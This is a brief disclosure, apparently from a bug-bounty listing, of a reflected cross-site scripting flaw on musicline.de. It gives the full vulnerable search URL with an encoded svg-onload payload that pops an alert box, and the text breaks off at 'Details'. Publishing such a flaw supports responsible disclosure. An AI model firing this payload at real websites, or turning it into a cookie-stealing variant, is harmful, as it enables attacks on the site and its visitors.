musicline.de XSS vulnerability

Vulnerable URL: http://www.musicline.de/de/prosearch?prosearch=yes=yes=prosearchform=0db17f985e023b5987d91f9bdcd425ca===%22%3Eblub%3Csvg%2Fonload%3Dalert%28String.fromCharCode%2879%2C80%2C69%2C78%2C66%2C85%2C71%2C66%2C79%2C85%2C78%2C84%2C89%29%29%3E%27=year=month==10%5B0%5D=255=== Details:...